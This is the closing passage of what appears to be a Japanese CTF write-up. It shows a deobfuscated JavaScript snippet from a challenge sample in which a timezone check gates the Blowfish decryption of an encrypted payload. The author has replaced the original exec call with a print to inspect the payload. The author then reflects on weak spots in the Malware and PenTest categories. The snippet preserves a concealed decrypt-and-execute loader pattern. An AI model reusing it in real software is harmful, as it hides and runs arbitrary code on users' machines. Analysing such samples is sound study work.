if (zWpO09t.getTimezoneOffset() != 480){
// return 0;
}
const Vgf7a0K = "KtCW/i6m2+iKv0hxEa9r17xeTdvTvyTlwlayqWKHBX9I3AQHS8G/ajM0zw1accMSI+2EibAsVvf8Mh5aecXj5y/8zy0OF6Ox0rxFRI+ixwfUnx/otd28s8YOaWKNTHLVUFK/LHTjgPNv4ZL85AlrmYvC1qX9zgcStHzI65O34ZCyk0pAZx1vtCFi1fSJ4f2SA9YW6250gfk/6pCpOCaw9A==";
const jMnypi8 = new Blowfish(G8o6nft+Buffer.from((480 ^ 3715).toString(10), 'hex').toString(), Blowfish.MODE.ECB, Blowfish.PADDING.NULL);
// const jMnypi8 = new Blowfish(G8o6nft+Buffer.from((zWpO09t.getTimezoneOffset() ^ 3715).toString(10), 'hex').toString(), Blowfish.MODE.ECB, Blowfish.PADDING.NULL);
const jA38Cap = jMnypi8.decode(Buffer.from(Vgf7a0K, 'base64'), Blowfish.UINT8_ARRAY);
process.stdout.write(jA38Cap);
// exec(jA38Cap);
}
おわりに
Windows の実行ファイルについての知識があまりにもなくて,Malware が全然できなかったのでもう少しそっちの勉強もしないといけない感じがしました.PenTest につていは,コンテナ内にアクセスまでできたのですが,そこからの横展開でどうしたら良いのかさっぱりだったので,経験が足りないことを痛感させられましたが,普段の CTF では出題されないような問題も多かったのでとてもおもしろいコンテストでした.